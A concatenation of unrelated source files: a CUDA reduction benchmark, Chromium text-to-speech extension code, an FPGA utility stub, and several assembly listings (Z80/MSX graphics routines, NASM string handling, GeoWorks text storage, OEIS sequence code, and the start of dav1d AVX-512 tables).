#include <cstdio> #include <cstdlib> // cuda runtime #include <cuda_runtime_api.h> #include "cuda_helper_timer.h" #include "reduction_cg_kernel.h" void run_benchmark(void (*reduce)(float *, float *, int, int), float *d_outPtr, float *d_inPtr, int size); void init_input(float *data, int size); float get_cpu_result(float *data, int size); //////////////////////////////////////////////////////////////////////////////// // Program main //////////////////////////////////////////////////////////////////////////////// int main(int argc, char *argv[]) { float *h_inPtr; float *d_inPtr, *d_outPtr; unsigned int size = 1 << 24; float result_host, result_gpu; srand(2019); // Allocate memory h_inPtr = (float *)malloc(size * sizeof(float)); // Data initialization with random values init_input(h_inPtr, size); // Prepare GPU resource cudaMalloc((void **)&d_inPtr, size * sizeof(float)); cudaMalloc((void **)&d_outPtr, size * sizeof(float)); cudaMemcpy(d_inPtr, h_inPtr, size * sizeof(float), cudaMemcpyHostToDevice); // Get reduction result from GPU (reduction 0) run_benchmark(reduction, d_outPtr, d_inPtr, size); cudaMemcpy(&result_gpu, &d_outPtr[0], sizeof(float), cudaMemcpyDeviceToHost); // Get all sum from CPU result_host = get_cpu_result(h_inPtr, size); printf("host: %f, device %f\n", result_host, result_gpu); // Terminates memory cudaFree(d_outPtr); cudaFree(d_inPtr); free(h_inPtr); return 0; } void run_reduction(void (*reduce)(float *, float *, int, int), float *d_outPtr, float *d_inPtr, int size, int n_threads) { reduce(d_outPtr, d_inPtr, size, n_threads); } void run_benchmark(void (*reduce)(float *, float *, int, int), float *d_outPtr, float *d_inPtr, int size) { int num_threads = 256; int test_iter = 100; // warm-up reduce(d_outPtr, d_inPtr, size, num_threads); // initialize timer StopWatchInterface *timer; sdkCreateTimer(&timer); sdkStartTimer(&timer); //////// // Operation body //////// for (int i = 0; i < test_iter; i++) { cudaMemcpy(d_outPtr, d_inPtr, size * sizeof(float), cudaMemcpyDeviceToDevice); run_reduction(reduce, d_outPtr, d_outPtr, size, num_threads); } // getting elapsed time cudaDeviceSynchronize(); sdkStopTimer(&timer); // Compute and print the performance float elapsed_time_msed = sdkGetTimerValue(&timer) / (float)test_iter; float bandwidth = size * sizeof(float) / elapsed_time_msed / 1e6; printf("Time= %.3f msec, bandwidth= %f GB/s\n", elapsed_time_msed, bandwidth); sdkDeleteTimer(&timer); } void init_input(float *data, int size) { for (int i = 0; i < size; i++) { // Keep the numbers small so we don't get truncation error in the sum data[i] = (rand() & 0xFF) / (float)RAND_MAX; } } float get_cpu_result(float *data, int size) { double result = 0.f; for (int i = 0; i < size; i++) result += data[i]; return (float)result; }
; test to verify the creation of safety labels org #4000 call ___MDL_SAFETY_LABEL_1 jp ___MDL_SAFETY_LABEL_2 nop loop: ___MDL_SAFETY_LABEL_2: jp loop ___MDL_SAFETY_LABEL_1: ret
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/speech/extension_api/tts_engine_extension_api.h" #include <string> #include "base/json/json_writer.h" #include "base/values.h" #include "chrome/browser/extensions/extension_event_router.h" #include "chrome/browser/extensions/extension_service.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/speech/extension_api/tts_extension_api_constants.h" #include "chrome/browser/speech/extension_api/tts_extension_api_controller.h" #include "chrome/common/extensions/extension.h" namespace constants = tts_extension_api_constants; namespace events { const char kOnSpeak[] = "ttsEngine.onSpeak"; const char kOnStop[] = "ttsEngine.onStop"; }; // namespace events void GetExtensionVoices(Profile* profile, ListValue* result_voices) { ExtensionService* service = profile->GetExtensionService(); DCHECK(service); ExtensionEventRouter* event_router = profile->GetExtensionEventRouter(); DCHECK(event_router); const ExtensionSet* extensions = service->extensions(); ExtensionSet::const_iterator iter; for (iter = extensions->begin(); iter != extensions->end(); ++iter) { const Extension* extension = *iter; if (!event_router->ExtensionHasEventListener( extension->id(), events::kOnSpeak) || !event_router->ExtensionHasEventListener( extension->id(), events::kOnStop)) { continue; } const std::vector<Extension::TtsVoice>& tts_voices = extension->tts_voices(); for (size_t i = 0; i < tts_voices.size(); ++i) { const Extension::TtsVoice& voice = tts_voices[i]; DictionaryValue* result_voice = new DictionaryValue(); if (!voice.voice_name.empty()) result_voice->SetString(constants::kVoiceNameKey, voice.voice_name); if (!voice.lang.empty()) result_voice->SetString(constants::kLangKey, voice.lang); if (!voice.gender.empty()) result_voice->SetString(constants::kGenderKey, voice.gender); result_voice->SetString(constants::kExtensionIdKey, extension->id()); ListValue* event_types = new ListValue(); for (std::set<std::string>::const_iterator iter = voice.event_types.begin(); iter != voice.event_types.end(); ++iter) { event_types->Append(Value::CreateStringValue(*iter)); } // If the extension sends end events, the controller will handle // queueing and send interrupted and cancelled events. if (voice.event_types.find(constants::kEventTypeEnd) != voice.event_types.end()) { event_types->Append( Value::CreateStringValue(constants::kEventTypeCancelled)); event_types->Append(Value::CreateStringValue( constants::kEventTypeInterrupted)); } result_voice->Set(constants::kEventTypesKey, event_types); result_voices->Append(result_voice); } } } bool GetMatchingExtensionVoice( Utterance* utterance, const Extension** matching_extension, size_t* voice_index) { // This will only happen during unit testing. Otherwise, an utterance // will always have an associated profile. if (!utterance->profile()) return false; ExtensionService* service = utterance->profile()->GetExtensionService(); DCHECK(service); ExtensionEventRouter* event_router = utterance->profile()->GetExtensionEventRouter(); DCHECK(event_router); *matching_extension = NULL; *voice_index = -1; const ExtensionSet* extensions = service->extensions(); ExtensionSet::const_iterator iter; for (iter = extensions->begin(); iter != extensions->end(); ++iter) { const Extension* extension = *iter; if (!event_router->ExtensionHasEventListener( extension->id(), events::kOnSpeak) || !event_router->ExtensionHasEventListener( extension->id(), events::kOnStop)) { continue; } if (!utterance->extension_id().empty() && utterance->extension_id() != extension->id()) { continue; } const std::vector<Extension::TtsVoice>& tts_voices = extension->tts_voices(); for (size_t i = 0; i < tts_voices.size(); ++i) { const Extension::TtsVoice& voice = tts_voices[i]; if (!voice.voice_name.empty() && !utterance->voice_name().empty() && voice.voice_name != utterance->voice_name()) { continue; } if (!voice.lang.empty() && !utterance->lang().empty() && voice.lang != utterance->lang()) { continue; } if (!voice.gender.empty() && !utterance->gender().empty() && voice.gender != utterance->gender()) { continue; } if (utterance->required_event_types().size() > 0) { bool has_all_required_event_types = true; for (std::set<std::string>::const_iterator iter = utterance->required_event_types().begin(); iter != utterance->required_event_types().end(); ++iter) { if (voice.event_types.find(*iter) == voice.event_types.end()) { has_all_required_event_types = false; break; } } if (!has_all_required_event_types) continue; } *matching_extension = extension; *voice_index = i; return true; } } return false; } void ExtensionTtsEngineSpeak(Utterance* utterance, const Extension* extension, size_t voice_index) { // See if the engine supports the "end" event; if so, we can keep the // utterance around and track it. If not, we're finished with this // utterance now. const std::set<std::string> event_types = extension->tts_voices()[voice_index].event_types; bool sends_end_event = (event_types.find(constants::kEventTypeEnd) != event_types.end()); ListValue args; args.Set(0, Value::CreateStringValue(utterance->text())); // Pass through most options to the speech engine, but remove some // that are handled internally. DictionaryValue* options = static_cast<DictionaryValue*>( utterance->options()->DeepCopy()); if (options->HasKey(constants::kRequiredEventTypesKey)) options->Remove(constants::kRequiredEventTypesKey, NULL); if (options->HasKey(constants::kDesiredEventTypesKey)) options->Remove(constants::kDesiredEventTypesKey, NULL); if (sends_end_event && options->HasKey(constants::kEnqueueKey)) options->Remove(constants::kEnqueueKey, NULL); if (options->HasKey(constants::kSrcIdKey)) options->Remove(constants::kSrcIdKey, NULL); if (options->HasKey(constants::kIsFinalEventKey)) options->Remove(constants::kIsFinalEventKey, NULL); if (options->HasKey(constants::kOnEventKey)) options->Remove(constants::kOnEventKey, NULL); args.Set(1, options); args.Set(2, Value::CreateIntegerValue(utterance->id())); std::string json_args; base::JSONWriter::Write(&args, &json_args); utterance->profile()->GetExtensionEventRouter()->DispatchEventToExtension( extension->id(), events::kOnSpeak, json_args, utterance->profile(), GURL()); } void ExtensionTtsEngineStop(Utterance* utterance) { utterance->profile()->GetExtensionEventRouter()->DispatchEventToExtension( utterance->extension_id(), events::kOnStop, "[]", utterance->profile(), GURL()); } bool ExtensionTtsEngineSendTtsEventFunction::RunImpl() { int utterance_id; std::string error_message; EXTENSION_FUNCTION_VALIDATE(args_->GetInteger(0, &utterance_id)); DictionaryValue* event; EXTENSION_FUNCTION_VALIDATE(args_->GetDictionary(1, &event)); std::string event_type; EXTENSION_FUNCTION_VALIDATE( event->GetString(constants::kEventTypeKey, &event_type)); int char_index = 0; if (event->HasKey(constants::kCharIndexKey)) { EXTENSION_FUNCTION_VALIDATE( event->GetInteger(constants::kCharIndexKey, &char_index)); } // Make sure the extension has included this event type in its manifest. bool event_type_allowed = false; const Extension* extension = GetExtension(); for (size_t i = 0; i < extension->tts_voices().size(); i++) { const Extension::TtsVoice& voice = extension->tts_voices()[i]; if (voice.event_types.find(event_type) != voice.event_types.end()) { event_type_allowed = true; break; } } if (!event_type_allowed) { error_ = constants::kErrorUndeclaredEventType; return false; } ExtensionTtsController* controller = ExtensionTtsController::GetInstance(); if (event_type == constants::kEventTypeStart) { controller->OnTtsEvent( utterance_id, TTS_EVENT_START, char_index, std::string()); } else if (event_type == constants::kEventTypeEnd) { controller->OnTtsEvent( utterance_id, TTS_EVENT_END, char_index, std::string()); } else if (event_type == constants::kEventTypeWord) { controller->OnTtsEvent( utterance_id, TTS_EVENT_WORD, char_index, std::string()); } else if (event_type == constants::kEventTypeSentence) { controller->OnTtsEvent( utterance_id, TTS_EVENT_SENTENCE, char_index, std::string()); } else if (event_type == constants::kEventTypeMarker) { controller->OnTtsEvent( utterance_id, TTS_EVENT_MARKER, char_index, std::string()); } else if (event_type == constants::kEventTypeError) { std::string error_message; event->GetString(constants::kErrorMessageKey, &error_message); controller->OnTtsEvent( utterance_id, TTS_EVENT_ERROR, char_index, error_message); } else { EXTENSION_FUNCTION_VALIDATE(false); } return true; }
/** * Copyright (C) 2019-2020 * Licensed under the Apache License, Version 2.0 (the "License"). You may * not use this file except in compliance with the License. A copy of the * License is located at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ // ------ I N C L U D E F I L E S ------------------------------------------- // Local - Include Files #include "SubCmdClock.h" #include "tools/common/XBUtilities.h" namespace XBU = XBUtilities; // 3rd Party Library - Include Files #include <boost/program_options.hpp> namespace po = boost::program_options; // System - Include Files #include <iostream> // ----- C L A S S M E T H O D S ------------------------------------------- SubCmdClock::SubCmdClock(bool _isHidden, bool _isDepricated, bool _isPreliminary) : SubCmd("clock", "Change a given clock frequency") { const std::string longDescription = "Change a given clock frequecy."; setLongDescription(longDescription); setExampleSyntax(""); setIsHidden(_isHidden); setIsDeprecated(_isDepricated); setIsPreliminary(_isPreliminary); } void SubCmdClock::execute(const SubCmdOptions& _options) const // Reference Command: clock [-d card] [-r region] [-f clock1_freq_MHz] [-g clock2_freq_MHz] [-h clock3_freq_MHz] // Change the clock frequency of region 0 in card 0 to 100 MHz\n"; // xbutil clock -f 100 // For card 0 which supports multiple clocks, change the clock 1 to 200MHz and clock 2 to 250MHz\n"; // xbutil clock -f 200 -g 250; { XBU::verbose("SubCommand: clock"); // -- Retrieve and parse the subcommand options ----------------------------- uint64_t card = 0; uint64_t region = 0; uint64_t clock1FreqMhz = 0; uint64_t clock2FreqMhz = 0; uint64_t clock3FreqMhz = 0; bool help = false; po::options_description clockDesc("clock options"); clockDesc.add_options() ("help", boost::program_options::bool_switch(&help), "Help to use this sub-command") (",d", boost::program_options::value<uint64_t>(&card), "Card to be examined") (",r", boost::program_options::value<uint64_t>(&region), "Card region") (",f", boost::program_options::value<uint64_t>(&clock1FreqMhz), "Clock 1 frequency MHz") (",g", boost::program_options::value<uint64_t>(&clock2FreqMhz), "Clock 2 frequency MHz") (",h", boost::program_options::value<uint64_t>(&clock3FreqMhz), "Clock 3 frequency MHz") ; // Parse sub-command ... po::variables_map vm; try { po::store(po::command_line_parser(_options).options(clockDesc).run(), vm); po::notify(vm); // Can throw } catch (po::error& e) { std::cerr << "ERROR: " << e.what() << std::endl << std::endl; printHelp(clockDesc); throw; } // Check to see if help was requested or no command was found if (help == true) { printHelp(clockDesc); return; } // -- Now process the subcommand -------------------------------------------- XBU::verbose(XBU::format(" Card: %ld", card)); XBU::verbose(XBU::format("Region: %ld", region)); XBU::verbose(XBU::format("Clock1: %ld", clock1FreqMhz)); XBU::verbose(XBU::format("Clock2: %ld", clock2FreqMhz)); XBU::verbose(XBU::format("Clock3: %ld", clock3FreqMhz)); XBU::error("COMMAND BODY NOT IMPLEMENTED."); // TODO: Put working code here }
; A194140: Sum{floor(j*(1+sqrt(3)) : 1<=j<=n}; n-th partial sum of Beatty sequence for 1+sqrt(3). ; 2,7,15,25,38,54,73,94,118,145,175,207,242,280,320,363,409,458,509,563,620,680,742,807,875,946,1019,1095,1174,1255,1339,1426,1516,1608,1703,1801,1902,2005,2111,2220,2332,2446,2563,2683,2805,2930,3058 mov $18,$0 mov $20,$0 add $20,1 lpb $20,1 clr $0,18 mov $0,$18 sub $20,1 sub $0,$20 mov $15,$0 mov $17,$0 add $17,1 lpb $17,1 mov $0,$15 sub $17,1 sub $0,$17 mov $11,$0 mov $13,2 lpb $13,1 mov $0,$11 sub $13,1 add $0,$13 sub $0,1 mov $8,$0 mul $0,5 add $0,1 mov $1,$8 add $1,$0 mul $0,2 mul $1,2 mov $4,$1 add $7,1 lpb $0,1 add $4,$0 mov $0,1 add $4,7 add $7,3 mul $7,2 add $4,$7 bin $7,$2 lpe div $4,30 mov $1,$4 mov $14,$13 lpb $14,1 mov $12,$1 sub $14,1 lpe lpe lpb $11,1 mov $11,0 sub $12,$1 lpe mov $1,$12 add $1,2 add $16,$1 lpe add $19,$16 lpe mov $1,$19
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: tsSmallGetText.asm AUTHOR: John Wedgwood, Nov 25, 1991 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- John 11/25/91 Initial revision DESCRIPTION: Support for extracting text from a small text object. $Id: tsSmallGetText.asm,v 1.1 97/04/07 11:22:08 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TextStorageCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SmallGetTextRange %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy text from a small text object to a given text reference. CALLED BY: TS_GetTextRange via CallStorageHandler PASS: *ds:si = Instance ptr ss:bx = VisTextRange filled in ss:bp = TextReference filled in RETURN: dx.ax = Number of bytes copied DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 11/22/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SmallGetTextRange proc far class VisTextClass uses bx, cx, si .enter ; ; We need to set up the parameters before we start copying the ; data to the text-reference buffer. ; ; ; Get a pointer to the start of the text to copy ; call TextStorage_DerefVis_DI ; ds:di <- instance ptr mov si, ds:[di].VTI_text mov si, ds:[si] ; ds:si <- text pointer SBCS < add si, ss:[bx].VTR_start.low ; ds:si <- start of range > DBCS < mov ax, ss:[bx].VTR_start.low > DBCS < shl ax, 1 ; ax <- offset to text > DBCS < add si, ax > ; ; Compute the number of bytes to copy ; mov ax, ss:[bx].VTR_end.low ; ax <- number of bytes to copy sub ax, ss:[bx].VTR_start.low ; ; Initialize the "starting position" in the output buffer ; clrdw cxbx ; cx.bx <- starting position ; in output buffer ; ; ds:si = Pointer to text to copy ; ax = Number of bytes to copy after ds:si ; cx.bx = Offset to write to in output TextReference ; ss:bp = TextReference to write to ; call AppendFromPointerToTextReference clr dx ; dx.ax <- # of bytes written .leave ret SmallGetTextRange endp TextStorageCode ends
;;;nahi samajh aaye to puch lena;;; read_string: pusha mov byte[len],0 mov dword[size],0 mov eax,0 mov ebx,string read_loop: pusha mov eax,3 mov ebx,0 mov ecx,temp mov edx,1 int 80h popa cmp byte[temp],10 je end_read mov cl,byte[temp] cmp cl,' ' je inc_eax mov cl,byte[temp] mov byte[ebx+eax],cl inc eax inc byte[len] jmp read_loop end_read: mov byte[ebx+eax],' ' inc eax mov byte[ebx+eax],0 cmp byte[len],0 je lll inc dword[size] lll: popa ret inc_eax: mov byte[ebx+eax],' ' inc eax inc dword[size] loop1: cmp eax,20 ja end_loop1 mov cl,al mov byte[ebx+eax],10 inc eax jmp loop1 end_loop1: mov eax,20 add ebx,eax mov eax,0 jmp read_loop print_string: pusha mov ebx,string prints_loop: cmp byte[ebx],0 je end_prints mov cl,byte[ebx] cmp cl,10 je inc_ebx mov byte[temp],cl pusha mov eax,4 mov ebx,1 mov ecx,temp mov edx,1 int 80h popa inc ebx jmp prints_loop end_prints: popa ret inc_ebx: inc ebx jmp prints_loop print_num: pusha mov byte[count],0 cmp byte[num1],0 je print_zero ext: cmp word[num1],0 je print inc byte[count] mov dx,0 mov ax,word[num1] mov bx,10 div bx push dx mov word[num1],ax jmp ext print: cmp byte[count],0 je end_print dec byte[count] pop dx mov byte[num1], dl add byte[num1],30h mov eax,4 mov ebx,1 mov ecx,num1 mov edx,1 int 80h jmp print end_print: popa ret print_zero: mov word[num1],30h mov eax,4 mov ebx,1 mov ecx,num1 mov edx,1 int 80h jmp end_print section .data newl : db 10 section .bss string : resb 1000 len : resd 1 temp : resd 1 array : resb 100 size : resd 1 count : resd 1 num1 : resd 1 temp1 : resd 1 temp2 : resd 1 i : resd 1 j : resd 1 k : resd 1 section .text global _start: _start: mov ebx,string call read_string call remove_rep call print_string mov eax,1 mov ebx,0 int 80h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; remove_rep: pusha mov ebx,string mov dword[i],0 loop_remi: mov cl,byte[i] cmp cl,byte[size] jnb end_rem mov byte[j],cl inc byte[j] mov eax,20 loop_remj: mov cl,byte[j] cmp cl,byte[size] jnb end_loopj jmp cmp_fullstring end_loopj: inc byte[i] add ebx,20 jmp loop_remi end_rem: popa ret cmp_fullstring: mov ecx,0 loop_c: cmp ecx,20 jnb equal mov dl,byte[ebx+ecx] add ecx,eax cmp dl,byte[ebx+ecx] jne end_equal cmp dl,' ' jmp equal ;;;;;;;;;;;;; sub ecx,eax inc ecx jmp loop_c end_equal: inc byte[j] add eax,20 jmp loop_remj equal: mov word[k],0 mov ecx,eax loop_eq: cmp word[k],20 jnb end_equal mov byte[ebx+ecx],10 inc word[k] inc ecx jmp loop_eq
;----------------------------------------------- ; a: byte ; hl: target address in the VDP writeByteToVDP: push af call SETWRT ld a,(VDP.DW) ld c,a pop af out (c),a ret ;----------------------------------------------- ; a: byte ; bc: amount to write ; hl: target address in the VDP fast_FILVRM: push af push bc call SETWRT ld a,(VDP.DW) ld c,a pop de ld a,e or a jr z,fast_FILVRM_no_inc inc d fast_FILVRM_no_inc: pop af fast_FILVRM_loop2: fast_FILVRM_loop: out (c),a dec e jp nz,fast_FILVRM_loop ;ld e,256 dec d jp nz,fast_FILVRM_loop2 ret ;----------------------------------------------- ; hl: source data ; de: target address in the VDP ; bc: amount to copy fast_LDIRVM: ex de,hl ; this is wasteful, but it's to maintain the order of parameters of the original LDIRVM... ; For things that require real speed, this function should not be used anyway, but use specialized loops push de push bc call SETWRT pop bc pop hl ; jp copy_to_VDP ;----------------------------------------------- ; This is like LDIRVM, but faster, and assumes, we have already called "SETWRT" with the right address ; input: ; - hl: address to copy from ; - bc: amount fo copy copy_to_VDP: ld e,b ld a,c or a jr z,copy_to_VDP_lsb_0 inc e copy_to_VDP_lsb_0: ld b,c ; get the VDP write register: ld a,(VDP.DW) ld c,a ld a,e copy_to_VDP_loop2: copy_to_VDP_loop: outi jp nz,copy_to_VDP_loop dec a jp nz,copy_to_VDP_loop2 ret ;----------------------------------------------- ; de: target address in memory ; hl: source address in the VDP ; bc: amount to copy fast_LDIRMV: push de push bc call SETRD pop bc pop hl ; jp copy_to_VDP ;----------------------------------------------- ; This is like LDIRVM, but faster, and assumes, we have already called "SETWRT" with the right address ; input: ; - hl: address to copy from ; - bc: amount fo copy copy_from_VDP: ld e,b ld a,c or a jr z,copy_from_VDP_lsb_0 inc e copy_from_VDP_lsb_0: ld b,c ; get the VDP write register: ld a,(VDP.DW) ld c,a ld a,e copy_from_VDP_loop2: copy_from_VDP_loop: ini jp nz,copy_from_VDP_loop dec a jp nz,copy_from_VDP_loop2 ret ;----------------------------------------------- ; This is like copy_to_VDP, but copying less than 256 bytes, amount in "b" ; input: ; - hl: address to copy from ; - b: amount fo copy ; copy_to_VDP_less_than_256: ; ; get the VDP write register: ; ld a,(VDP.DW) ; ld c,a ; copy_to_VDP_less_than_256_loop: ; outi ; jp nz,copy_to_VDP_less_than_256_loop ; ret ; an even faster version, that only works if we are in vblank: ;copy_to_VDP_less_than_256_duringvblank: ; ; get the VDP write register: ; ld a,(VDP.DW) ; ld c,a ;copy_to_VDP_less_than_256_duringvblank_loop: ; outi ; outi ; outi ; outi ; outi ; outi ; outi ; outi ; jp nz,copy_to_VDP_less_than_256_duringvblank_loop ; ret ;----------------------------------------------- disable_VDP_output: ld a,(VDP_REGISTER_1) and #bf ; reset the BL bit di out (#99),a ld a,1+128 ; write to register 1 ei out (#99),a ret ;----------------------------------------------- enable_VDP_output: ld a,(VDP_REGISTER_1) or #40 ; set the BL bit di out (#99),a ld a,1+128 ; write to register 1 ei out (#99),a ret ;----------------------------------------------- ; clear sprites: clearAllTheSprites: ld hl,SPRATR2 ld a,224 ld bc,32*4 jp FILVRM ;----------------------------------------------- ; Fills the whole screen with the pattern 0 clearScreen: xor a ld bc,768 ld hl,NAMTBL2 jp fast_FILVRM ;----------------------------------------------- ; Clears the screen left to right ; input: ; - iyl: how many rows to clear clearScreenLeftToRight: ld iyl,24 clearScreenLeftToRight_iyl_rows: call clearAllTheSprites clearScreenLeftToRight_iyl_rows_no_sprites: ld a,16 ld bc,0 clearScreenLeftToRightExternalLoop: push af push bc ld a,iyl ld hl,NAMTBL2 add hl,bc clearScreenLeftToRightLoop: push hl push af xor a ld bc,2 call fast_FILVRM pop af pop hl ld bc,32 add hl,bc dec a jr nz,clearScreenLeftToRightLoop pop bc pop af inc bc inc bc dec a halt jr nz,clearScreenLeftToRightExternalLoop ret ;----------------------------------------------- ; uploads the enemy attributes to the VDP update_sprites: ld a,(scroll_x_half_pixel) and #03 jr z,update_sprites_pattern1 dec a jr z,update_sprites_pattern2 dec a jr z,update_sprites_pattern3 update_sprites_pattern4: ld de,sprite_upload_order4 jr update_sprites_pattern_set update_sprites_pattern3: ld de,sprite_upload_order3 jr update_sprites_pattern_set update_sprites_pattern2: ld de,sprite_upload_order2 jr update_sprites_pattern_set update_sprites_pattern1: ld de,sprite_upload_order1 update_sprites_pattern_set: ld hl,SPRATR2+4*4 call SETWRT ld a,(VDP.DW) ld c,a ld a,28 update_sprites_pattern_set_loop: ex de,hl ld e,(hl) inc hl ld d,(hl) inc hl ex de,hl outi outi outi outi dec a jp nz,update_sprites_pattern_set_loop ret ;----------------------------------------------- decompress_sprite_upload_order_plt: ld hl,sprite_upload_order_plt ld de,buffer push de call unpack_compressed pop hl ld de,sprite_upload_order1 ld b,4*7*4 decompress_sprite_upload_order_plt_loop: push bc push hl ld b,0 ld c,(hl) ld hl,in_game_sprite_attributes-4*4 add hl,bc ex de,hl ld (hl),e inc hl ld (hl),d inc hl ex de,hl pop hl pop bc inc hl djnz decompress_sprite_upload_order_plt_loop ret ;----------------------------------------------- ; hl: ptr to compressed sprites ; bc: amount of data to copy to the VDP load_sprites_sprtbl2: ld de,SPRTBL2 load_sprites: push de push bc ; unpack sprites: ld de,buffer4 call unpack_compressed pop bc pop de ; load them to the VDP: ld hl,buffer4 jp fast_LDIRVM
; Copyright © 2020, VideoLAN and dav1d authors ; Copyright © 2020, Two Orioles, LLC ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. %include "ext/x86/x86inc.asm" %if HAVE_AVX512ICL && ARCH_X86_64 SECTION_RODATA 64 bidir_sctr_w4: dd 0, 1, 8, 9, 2, 3, 10, 11, 4, 5, 12, 13, 6, 7, 14, 15 wm_420_perm4: db 1, 3, 9, 11, 5, 7, 13, 15, 17, 19, 25, 27, 21, 23, 29, 31 db 33, 35, 41, 43, 37, 39, 45, 47, 49, 51, 57, 59, 53, 55, 61, 63 db 0, 2, 8, 10, 4, 6, 12, 14, 16, 18, 24, 26, 20, 22, 28, 30 db 32, 34, 40, 42, 36, 38, 44, 46, 48, 50, 56, 58, 52, 54, 60, 62 wm_420_perm8: db 1, 3, 17, 19, 5, 7, 21, 23, 9, 11, 25, 27, 13, 15, 29, 31 db 33, 35, 49, 51, 37, 39, 53, 55, 41, 43, 57, 59, 45, 47, 61, 63 db 0, 2, 16, 18, 4, 6, 20, 22, 8, 10, 24, 26, 12, 14, 28, 30 db 32, 34, 48, 50, 36, 38, 52, 54, 40, 42, 56, 58, 44, 46, 60, 62 wm_420_perm16: db 1, 3, 33, 35, 5, 7, 37, 39, 9, 11, 41, 43, 13, 15, 45, 47 db 17, 19, 49, 51, 21, 23, 53, 55, 25, 27, 57, 59, 29, 31, 61, 63 db 0, 2, 32, 34, 4, 6, 36, 38, 8, 10, 40, 42, 12, 14, 44, 46 db 16, 18, 48, 50, 20, 22, 52, 54, 24, 26, 56, 58, 28, 30, 60, 62 wm_420_mask: db 3, 7, 11, 15, 19, 23, 27, 31, 35, 39, 43, 47, 51, 55, 59, 63 db 67, 71, 75, 79, 83, 87, 91, 95, 99,103,107,111,115,119,123,127 db 1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61 db 65, 69, 73, 77, 81, 85, 89, 93, 97,101,105,109,113,117,121,125 wm_422_mask: db 2, 6, 10, 14, 18, 22, 26, 30, 34, 38, 42, 46, 50, 54, 58, 62 db 1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61 db 66, 70, 74, 78, 82, 86, 90, 94, 98,102,106,110,114,118,122,126 db 65, 69, 73, 77, 81, 85, 89, 93, 97,101,105,109,113,117,121,125 wm_444_mask: db 1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31 db 33, 35, 37, 39, 41, 43, 45, 47, 49, 51, 53, 55, 57, 59, 61, 63 db 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30 db 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62 bilin_h_perm16: db 1, 0, 2, 1, 3, 2, 4, 3, 5, 4, 6, 5, 7, 6, 8, 7 db 9, 8, 10, 9, 11, 10, 12, 11, 13, 12, 14, 13, 15, 14, 16, 15 db 33, 32, 34, 33, 35, 34, 36, 35, 37, 36, 38, 37, 39, 38, 40, 39 db 41, 40, 42, 41, 43, 42, 44, 43, 45, 44, 46, 45, 47, 46, 48, 47 bilin_h_perm32: db 1, 0, 2, 1, 3, 2, 4, 3, 5, 4, 6, 5, 7, 6, 8, 7 db 9, 8, 10, 9, 11, 10, 12, 11, 13, 12, 14, 13, 15, 14, 16, 15 db 17, 16, 18, 17, 19, 18, 20, 19, 21, 20, 22, 21, 23, 22, 24, 23 db 25, 24, 26, 25, 27, 26, 28, 27, 29, 28, 30, 29, 31, 30, 32, 31 bilin_v_perm8: db 16, 0, 17, 1, 18, 2, 19, 3, 20, 4, 21, 5, 22, 6, 23, 7 db 80, 16, 81, 17, 82, 18, 83, 19, 84, 20, 85, 21, 86, 22, 87, 23 db 32, 80, 33, 81, 34, 82, 35, 83, 36, 84, 37, 85, 38, 86, 39, 87 db 64, 32, 65, 33, 66, 34, 67, 35, 68, 36, 69, 37, 70, 38, 71, 39 bilin_v_perm16: db 16, 0, 17, 1, 18, 